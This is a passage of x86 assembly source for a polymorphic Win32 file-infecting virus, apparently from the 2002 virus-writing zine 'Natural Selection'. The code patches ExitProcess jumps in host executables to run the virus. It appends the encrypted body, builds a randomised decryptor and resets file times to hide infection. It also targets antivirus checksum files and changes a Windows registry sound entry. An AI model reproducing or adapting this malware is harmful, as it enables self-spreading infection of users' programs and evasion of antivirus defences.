jmp InfectableNo ; Probably Some Packer
FoundActualCode:
add edx, 5 ; edx= Raw Adrress of free space
add ecx, 4
sub ecx, [edi].FileAlignment
neg ecx ; ecx= size of free space
mov eax, [ebx].sec_VirtualAddress
add eax, [ebx].sec_SizeOfRawData
sub eax, ecx
cmp ecx, MINSLACKSPACE
jb InfectableNo
; Now:
; - RVA -done (eax)
; - RawAddy -done (edx)
; - SizeOfSpace -done (ecx)
mov EmptyCodeSecRVA+ebp, eax
mov EmptyCodeSecAddr+ebp, edx
mov EmptyCodeSecSize+ebp, ecx
; Now we search .text for either:
; - EE 15 (call [address])
; - FF 25 (jmp [address])
mov ecx, [ebx].sec_SizeOfRawData
sub ecx, 5 ; (no need to check last 5 bytes)
push esi
mov eax, [ebx].sec_PointerToRawData
add eax, esi
xchg eax, esi
xor edx, edx ; Loop counter
TLinkFindJump:
cmp word ptr [esi+edx], 25FFh
jne short TLinkJumpNotFound
mov eax, dword ptr [esi+edx+2]
sub eax, [edi].ImageBase
cmp eax, ExitProcessRVA+ebp
jne short TLinkJumpNotFound
mov eax, EmptyCodeSecRVA+ebp
sub eax, edx
sub eax, [ebx].sec_VirtualAddress
sub eax, 5
mov byte ptr [esi+edx], 0E9h ; Write in jump to our code ;-)
mov dword ptr [esi+edx+1], eax
inc FoundExitCall+ebp
TLinkJumpNotFound:
inc edx
cmp edx, ecx
jb TLinkFindJump
pop esi
HaveCSInfo:
cmp FoundExitCall+ebp, 0
je InfectableNo
mov eax, GetModuleHandleRVA+ebp ; Link to GetModuleHandle
add eax, [edi].ImageBase
mov GetModHandleAddy+ebp, eax
mov eax, ExitProcessRVA+ebp ; Setup emergency escape for
add eax, [edi].ImageBase ; the next generation.
mov EmergencyExitAddy+ebp, eax ; (hopefully never needed)
push esi
push edi
mov esi, edi
call MakeDecryptor
pop edi
pop esi
mov edx, DataSectionEntryPtr+ebp ; If link and ds too small,
mov eax, NewVirtualSizeOfData+ebp ; then make it bigger
mov [edx].sec_VirtualSize, eax ; else stay the same
mov edx, LastSectionEntryPtr+ebp ; Fixup Last Section Sizes
mov ecx, [edi].FileAlignment
mov eax, [edx].sec_SizeOfRawData
mov esi, eax ; esi= size of last section
add eax, VIRUSCODESIZE
push eax
dec ecx
add eax, ecx
not ecx
and eax, ecx ; eax= Aligned raw size of last section
mov [edx].sec_SizeOfRawData, eax
pop eax ; not rounded raw size + vir size
mov ecx, [edi].SectionAlignment
dec ecx
add eax, ecx
not ecx
push ecx
and eax, ecx
mov ecx, [edx].sec_VirtualSize ; Get old size for Image size adjust
mov [edx].sec_VirtualSize, eax ; Save New Section VSize
sub eax, ecx ; Get Size increase
pop ecx ; get Section mask (FFFFF000 usually)
and eax, ecx ; Sec Align total size increase
add [edi].SizeOfImage, eax ; add it to the size
; Fix:
; - Fix Last Section Size (done above)
; - Fix Code Section Size (probably not needed)
; - Fix up GetModHandleAddy (done above)
;
mov ecx, LastSectionEntryPtr+ebp
mov ebx, [ecx].sec_PointerToRawData
add ebx, esi
;int 3
mov eax, VIRUSCODESIZE-1
mov edi, [edi].FileAlignment
add eax, edi
neg edi
and edi, eax
call _UnmapViewOfFile+ebp ; Handle Already on stack
call _CloseHandle+ebp ; Handle Already on stack
pop esi ; Get File Handle
push esi ; File Handle back for later
xor eax, eax
call _SetFilePointer+ebp, esi, ebx, eax, FILE_BEGIN
lea eax, PolyedVirus+ebp
lea ecx, BytesWritten+ebp
;int 3
; call _WriteFile+ebp, esi, eax, VIRUSCODESIZE, ecx, 0
call _WriteFile+ebp, esi, eax, edi, ecx, 0
inc NumInfected+ebp
lea eax, FindFile.fd_ftCreationTime+ebp
lea ecx, FindFile.fd_ftLastAccessTime+ebp
lea edx, FindFile.fd_ftLastWriteTime+ebp
call _SetFileTime+ebp, esi, eax, ecx, edx
jmp short CloseAndExitInfector
UnmapAndClose:
call _UnmapViewOfFile+ebp ; Handle Already on stack
call _CloseHandle+ebp ; Handle Already on stack
CloseAndExitInfector:
call _CloseHandle+ebp ; Again on Stack
ExitInfector:
ret
;**********************
; Enter
; eax = RVA
; esi = Start Of Memory mapped PE file.
; Leave:
; eax = Mem map Address
RVA2Addr:
push ebx
push edx
push ecx
push esi
push edi
movzx edi, word ptr [esi+3Ch]
add edi, esi
movzx edx, [edi].SizeOfOptionalHeader
movzx ecx, [edi].NumberOfSections
lea edx, [edi+edx+18h] ; Start of Section table
mov ebx, [edx].sec_VirtualAddress
mov esi, [edx].sec_PointerToRawData
SectionLoop1:
cmp ebx, [edx].sec_VirtualAddress
jae short SkipSecLoop1
cmp eax, [edx].sec_VirtualAddress
jb short SkipSecLoop1
mov ebx, [edx].sec_VirtualAddress
mov esi, [edx].sec_PointerToRawData
SkipSecLoop1:
add edx, size SECTION
loop SectionLoop1
sub eax, ebx
add eax, esi
pop edi
pop esi
add eax, esi
pop ecx
pop edx
pop ebx
ret
MakeDecryptor:
lea edi, PolyedVirus+ebp
mov PolySizeCount+ebp, edi ; Counter for number of bytes used.
mov StackRestore+ebp, esp
if DEBUGENTRY
mov al, 0CCh
stosb
endif
call SelectRegs2
call CreateInitCode
call MarkLoop
call CreateLoad
call CreateEncryption
call CreateAddInECX
call CreateStore
call CreateLoop
call CreateGotoVirus
FinishedAlgorithm:
mov esi, PolySizeCount+ebp
sub edi, esi
cmp edi, EmptyCodeSecSize+ebp
ja short MakeDecryptor
mov ecx, edi
mov edi, EmptyCodeSecAddr+ebp
push esi
rep movsb
pop edi
lea esi, VirusStart+ebp
mov ecx, VIRUSCODESIZE
EncryptVirus2:
lodsb
call PolyEncryptPtr+ebp
stosb
loop EncryptVirus2
ret
MakePolyError:
mov esp, StackRestore+ebp
jmp MakeDecryptor
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; Atom Functions
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
CreateZero:
call randomslow
test al, 11
je short CreateZeroMov
or al, al
js short CreateZeroSub
CreateZeroXor:
mov eax, edx
shl eax, 11
or ax, 0C031h
jmp short CreateZeroCommon
CreateZeroSub:
mov eax, edx
shl eax, 11
or ax, 0C029h
CreateZeroCommon:
or ah, dl
stosw
ret
CreateZeroMov:
push ecx
xor ecx, ecx
call CreateMov
pop ecx
ret
; --------
CreateAdd:
mov al, 5
cmp dl, 0 ; eax
je short EntryFromCreateSub2
cmp ecx, 7Fh
jbe short CreateAddSX
cmp ecx, -80h
jb short CreateAddNoSX
CreateAddSX:
mov al, 83h
stosb
mov al, 0C0h
EntryFromCreateSub3:
or al, dl
stosb
mov al, cl
stosb
ret
CreateAddNoSX:
mov al, 81h
stosb
mov al, 0C0h
EntryFromCreateSub1:
or al, dl
EntryFromCreateSub2:
stosb
mov eax, ecx
stosd
ret
; --------
CreateSub:
mov al, 2Dh
cmp dl, 0 ; eax
je short EntryFromCreateSub2
cmp ecx, 7Fh
jbe short CreateSubSX
cmp ecx, -80h
jb short CreateSubNoSX
CreateSubSX:
mov al, 83h
stosb
mov al, 0E8h
jmp short EntryFromCreateSub3
CreateSubNoSX:
mov al, 81h
stosb
mov al, 0E8h
jmp short EntryFromCreateSub1
; --------
CreateMov:
mov al, 0B8h
jmp short EntryFromCreateSub1
; --------
CreateInc:
mov al, 40h
EntryFromDec:
or al, dl
stosb
ret
; --------
CreateDec:
mov al, 48h
jmp short EntryFromDec
; --------
CreatePush:
mov al, 50h
jmp short EntryFromDec
; --------
CreateXor8:
or dl, dl
je short CreateXorAL
mov ax, 0F080h
or ah, dl
stosw
jmp short CreateXor8Common
CreateXorAL:
mov al, 34h
stosb
CreateXor8Common:
dec ebx
dec ebx
mov byte ptr [ebx], 34h
EntryFromCreateAdd8:
call randomfast
stosb
mov byte ptr [ebx+1], al
ret
CreateAdd8:
or dl, dl
je short CreateAdd8AL
mov ax, 0C080h
or ah, dl
stosw
jmp short CreateAdd8Common
CreateAdd8AL:
mov al, 04h
stosb
CreateAdd8Common:
dec ebx
dec ebx
mov byte ptr [ebx], 2Ch
jmp short EntryFromCreateAdd8
CreateRol8:
sub ebx, 3
mov ax, 0C8C0h
mov word ptr [ebx], ax
and ah, 0F7h
or ah, dl
stosw
RolNoGood:
call randomfast
and al, 7
jz RolNoGood
stosb
mov byte ptr [ebx+2], al
ret
CreateSub8:
or dl, dl
je short CreateSub8AL
mov ax, 0E880h
or ah, dl
stosw
jmp short CreateSub8Common
CreateSub8AL:
mov al, 2Ch
stosb
CreateSub8Common:
dec ebx
dec ebx
mov byte ptr [ebx], 04h
jmp short EntryFromCreateAdd8
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; Mid-Level Functions
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
CreateMidInit:
call randomslow
or al,al
js short CreateInitZAdd
call CreateMov
ret
CreateInitZAdd:
test al, 1
je short CreateInitSub
call CreateZero
call CreateAdd
ret
CreateInitSub:
call CreateZero
neg ecx
call CreateSub
ret
;----------
CreateMidInc:
call randomslow
or al,al
js short CreateMidIncAdd
call CreateInc ; Inc
ret
CreateMidIncAdd:
push ecx
xor ecx,ecx
inc ecx
test al, 1
jz short CreateMidIncSub
EntryFromMidDec_Add:
call CreateAdd ; Add 1
jmp short CreateMidIncDone
CreateMidIncSub: ; Sub -1
neg ecx
EntryFromMidDec_Sub:
call CreateSub
CreateMidIncDone:
pop ecx
ret
;----------
CreateMidDec:
call randomslow
or al,al
js short CreateMidDecSub
call CreateDec
ret
CreateMidDecSub:
push ecx
xor ecx,ecx
inc ecx
test al, 1
jnz short EntryFromMidDec_Sub
CreateMidDecAdd:
neg ecx
jmp short EntryFromMidDec_Add
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
; Complex Functions
; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
CreateLoadMem:
mov al, dl
shl eax, 11
or ax, 008Ah
or ah, cl
stosw
mov dl, cl
call CreateMidInc
ret
CreateStoreMem:
mov al, dl
shl eax, 11
or ax, 0088h
or ah, cl
stosw
mov dl, cl
call CreateMidInc
ret
CreateSourceInit:
mov dl, PolySourceReg+ebp
mov eax, LastSectionEntryPtr+ebp
mov ecx, [eax].sec_VirtualAddress
add ecx, [eax].sec_SizeOfRawData
add ecx, [esi].ImageBase
call CreateMidInit
ret
CreateDestInit:
mov dl, PolyDestReg+ebp
mov eax, DataSectionEntryPtr+ebp
mov ecx, [eax].sec_VirtualAddress
add ecx, [esi].ImageBase
call CreateMidInit
test byte ptr PolyFlag+ebp, 1
jnz short CreateDestInitDone
call CreatePush
CreateDestInitDone:
ret
CreateCntrInit:
mov dl, PolyCntrReg+ebp
mov ecx, VIRUSCODESIZE
call CreateMidInit
ret
MarkLoop:
mov LoopLocation+ebp, edi
ret
CreateLoad:
mov dl, PolyWorkReg+ebp
mov cl, PolySourceReg+ebp
or dl, dl
jne short CreateLoadMemCall
cmp cl, 6
jne short CreateLoadMemCall
mov al, 0ACh
stosb
ret
CreateLoadMemCall:
call CreateLoadMem
ret
CreateStore:
mov dl, PolyWorkReg+ebp
mov cl, PolyDestReg+ebp
or dl, dl
jne short CreateStoreMemCall
cmp cl, 7
jne short CreateStoreMemCall
mov al, 0AAh
stosb
ret
CreateStoreMemCall:
call CreateStoreMem
ret
CreateLoop:
mov dl, PolyCntrReg+ebp
mov al, 0E2h
cmp dl, 1
je short MakeLoopCommon
LoopNotECX:
call CreateMidDec
mov al, 75h
MakeLoopCommon:
stosb
mov eax, LoopLocation+ebp
sub eax, edi
dec eax
stosb
cmp eax, -80h
jb MakePolyError
ret
CreateGotoVirus:
test byte ptr PolyFlag+ebp, 1
jz short CreateGotoVirusRet
mov al, 0E9h
stosb
mov eax, DataSectionEntryPtr+ebp
mov eax, [eax].sec_VirtualAddress
mov ecx, EmptyCodeSecRVA+ebp
sub eax, ecx
mov ecx, edi
sub ecx, PolySizeCount+ebp
add ecx, 4
sub eax, ecx
stosd
ret
CreateGotoVirusRet:
mov al, 0C3h
stosb
ret
InstructInitTable:
dd offset CreateSourceInit
dd offset CreateDestInit
dd offset CreateCntrInit
CreateInitCode:
xor ecx, ecx
CreateInitLoop:
call randomslow
and eax, 3
jz short CreateInitLoop
dec eax
bts ecx, eax
jc short CreateInitLoop
mov eax, [ebp+4*eax+offset InstructInitTable]
add eax, ebp
push ecx
call eax
pop ecx
cmp cl, 7
jne short CreateInitLoop
ret
SelectRegs2:
call randomslow
mov PolyFlag+ebp, al
mov dl, 00110000b
GetWork2:
call randomfast
or al, al
js short PickRandWork2
test dl, 1
jnz short PickRandWork2
mov byte ptr PolyWorkReg+ebp, 0
or dl, 1
jmp short GetSource2
PickRandWork2:
call GetFreeRegister8
mov PolyWorkReg+ebp, al
GetSource2:
call randomfast
or al, al
js short PickRandSource2
test dl, 40h
jnz short PickRandSource2
mov byte ptr PolySourceReg+ebp, 6
or dl, 40h
jmp short GetCntr2
PickRandSource2:
call GetFreeRegister
mov PolySourceReg+ebp, al
GetCntr2:
call randomfast
or al, al
js short PickRandCntr2
test dl, 2
jnz short PickRandCntr2
mov byte ptr PolyCntrReg+ebp, 1
or dl, 2
jmp short GetDest2
PickRandCntr2:
call GetFreeRegister
mov PolyCntrReg+ebp, al
GetDest2:
call randomfast
or al, al
js short PickRandDest2
test dl, 80h
jnz short PickRandDest2
mov byte ptr PolyDestReg+ebp, 7
or dl, 80h
jmp short SelectRegsDone2
PickRandDest2:
call GetFreeRegister
mov PolyDestReg+ebp, al
SelectRegsDone2:
ret
CreateAddInECX:
test byte ptr PolyFlag+ebp, 2
jnz short SelectRegsDone2
mov al, PolyCntrReg+ebp
cmp al, 4
jae short SelectRegsDone2
shl eax, 11
or ax, 0C000h
or ah, PolyWorkReg+ebp
stosw
mov ecx, PolyEncryptPtr+ebp
dec ecx
dec ecx
mov ax, 0C828h
mov word ptr [ecx], ax
mov PolyEncryptPtr+ebp, ecx
ret
GetFreeRegister8:
call randomfast
and al, 7
mov ah, 1
xchg ecx, eax
test cl, 4
jnz short UpperRegister8
rol ch, cl
GetReg8Common:
xchg ecx, eax
test dl, ah
jnz GetFreeRegister8
or dl, ah
ret
UpperRegister8:
and cl, 3
rol ch, cl
or cl, 4
jmp GetReg8Common
GetFreeRegister:
call randomfast
and eax, 7
bts edx, eax
jc GetFreeRegister
ret
EncryptOpTable:
dd offset CreateXor8
dd offset CreateAdd8
dd offset CreateRol8
dd offset CreateSub8
db 45 dup (?) ; Hold encryption code.
OpcodeStack:
ret
CreateEncryption:
mov byte ptr OpcodeFlag+ebp, 0
lea ebx, OpcodeStack+ebp
call randomslow
xchg eax, ecx
and ecx, 7
inc ecx
MakeEncryptOps:
call randomslow
and eax, 03h
cmp OpcodeFlag+ebp, al
je short MakeEncryptOps
mov OpcodeFlag+ebp, al
mov eax, [ebp+4*eax+offset EncryptOpTable]
add eax, ebp
mov dl, PolyWorkReg+ebp
call eax
loop MakeEncryptOps
mov PolyEncryptPtr+ebp, ebx
ret
; -***********************************-
; Psuedo Random Number Generator
; -***********************************-
randomslow:
if DEBUG
jmp short randomfast
endif
push edi
lea edi, CurrentTime.ft_dwHighDateTime+ebp
call RandomCommon
pop edi
ret
randomfast:
push edi
lea edi, CurrentTime.ft_dwLowDateTime+ebp
call RandomCommon
pop edi
push ecx
push edx
mov ecx, eax
jmp short RandPentiumExt
RandReturn:
pop edx
pop ecx
ret
RandPentiumExt:
db 0Fh, 31h ; rdtsc instruction (possible exceptn)
jmp $+2 ; should add SEH handler,
xor eax, ecx ; but I just don't care anymore
jmp short RandReturn
RandomCommon:
push ecx
push edx
push ebx
mov eax, dword ptr [edi]
cdq
mov ecx, 44488
idiv ecx
push edx
mov ecx, 3399
mul ecx
xchg eax, ebx
pop eax
mov ecx, 48271
mul ecx
sub eax, ebx
stosd
jnl short RandTooLow
add eax, 7FFFFFFFh
RandTooLow:
dec eax
pop ebx
pop edx
pop ecx
ret
;
; esi = Function names
; edi = address destination
; ebx = handle of Lib
;
; returns:
; carry flag clear if ok, set if error
FillImports:
lodsb
movzx ecx, al
jecxz FillImpDone
push esi
add esi, ecx
call _GetProcAddress+ebp, ebx
or eax,eax
jz short FillImpFail
stosd
jmp short FillImports
FillImpDone:
clc
ret
FillImpFail:
stc
ret
include adecode.asi
; -==============================-
; Initialized Data
; -==============================-
if DEBUGROOTDIR
RootDir db 'GOATS',0
else
RootDir dd '\',0
endif
FileMaskAny db '*.*',0
FileMaskExe db '*.EXE',0
nKernel32 db 'KERNEL32',0
nExitProcess db 'ExitProcess',0
nGetModuleHandle db 'GetModuleHandleA',0
AVNames db 3,'AVP'
db 4,'SCAN'
db 6,'FINDVI'
db 2,'F-',0
CRCNames db 13,'ANTI-VIR.DAT',0
db 11,'CHKLIST.MS',0
db 8,'AVP.CRC',0
db 8,'IVB.NTZ',0
db 0
nGetProcAddr db 'GetProcAddress',0
InfFunctions:
db 12,'CreateFileA',0
db 19,'CreateFileMappingA',0
db 14,'MapViewOfFile',0
db 16,'UnmapViewOfFile',0
db 12,'CloseHandle',0
db 15,'SetFilePointer',0
db 10,'WriteFile',0
db 24,'GetSystemTimeAsFileTime',0
db 21,'GetCurrentDirectoryA',0
db 21,'SetCurrentDirectoryA',0
db 15,'FindFirstFileA',0
db 14,'FindNextFileA',0
db 10,'FindClose',0
db 19,'SetFileAttributesA',0
db 12,'SetFileTime',0
db 12,'ExitProcess',0
db 12,'DeleteFileA',0
db 21,'GetWindowsDirectoryA',0
db 13,'LoadLibraryA',0
db 12,'FreeLibrary',0
db 0
BakaWav:
include baka.bin
bakafile db '\baka.wav',0
RegKey db '.DEFAULT\AppEvents\Schemes\Apps\.Default\AppGPFault\.Current',0
RegFunctions:
db 12,'RegOpenKeyA',0
db 12,'RegCloseKey',0
db 13,'RegSetValueA',0
db 0
VirusInitEnd:
_GetProcAddress dd ?
InfDest: ; Have to be in Same order as above
_CreateFileA dd ?
_CreateFileMappingA dd ?
_MapViewOfFile dd ?
_UnmapViewOfFile dd ?
_CloseHandle dd ?
_SetFilePointer dd ?
_WriteFile dd ?
_GetSystemTimeAsFileTime dd ?
_GetCurrentDirectoryA dd ?
_SetCurrentDirectoryA dd ?
_FindFirstFileA dd ?
_FindNextFileA dd ?
_FindClose dd ?
_SetFileAttributesA dd ?
_SetFileTime dd ?
_ExitProcess dd ?
_DeleteFileA dd ?
_GetWindowsDirectoryA dd ?
_LoadLibraryA dd ?
_FreeLibrary dd ?
RegFuncDest:
_RegOpenKeyA dd ?
_RegCloseKey dd ?
_RegSetValueA dd ?
SFCLib dd ?
_SfcIsFileProtected dd ?
SearchHnd dd ?
RegHnd dd ?
NumOfNames dd ?
ExitProcessRVA dd ?
GetModuleHandleRVA dd ?
NewVirtualSizeOfData dd ?
EmptyCodeSecRVA dd ?
EmptyCodeSecAddr dd ?
EmptyCodeSecSize dd ?
LastSectionEntryPtr dd ?
DataSectionEntryPtr dd ?
BytesWritten dd ?
FoundExitCall dd ?
ExeGoodCount dd ?
ExeBadCount dd ?
NonExeCount dd ?
ExeSizesPtr dd ?
DirCount dd ?
LetterCount db ?
LastLetter db ?
NumInfected db ?
AVCRCFlag db ?
; Regs ok are: 0-3,6,7 (eax, ecx, edx, ebx, esi, edi)
PolyFlag db ?
PolySizeCount dd ?
LoopLocation dd ?
PolyEncryptPtr dd ?
StackRestore dd ?
PolySourceReg db ?
PolyDestReg db ?
PolyCntrReg db ?
PolyWorkReg db ?
OpcodeFlag db ?
DirBuf db 256 dup (?)
CurrentTime FILETIME ?
FindFile WIN32_FIND_DATA <?>
ExeSizes dd MAXEXEPERDIR dup (?)
buffer db (MAX_PATH+10) dup (?)
PolyedVirus db VIRUSCODESIZE dup (?)
VirusEnd:
end HOST
COMMENT ` ---------------------------------------------------------------- )=-
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
-=( ---------------------------------------------------------------------- ) `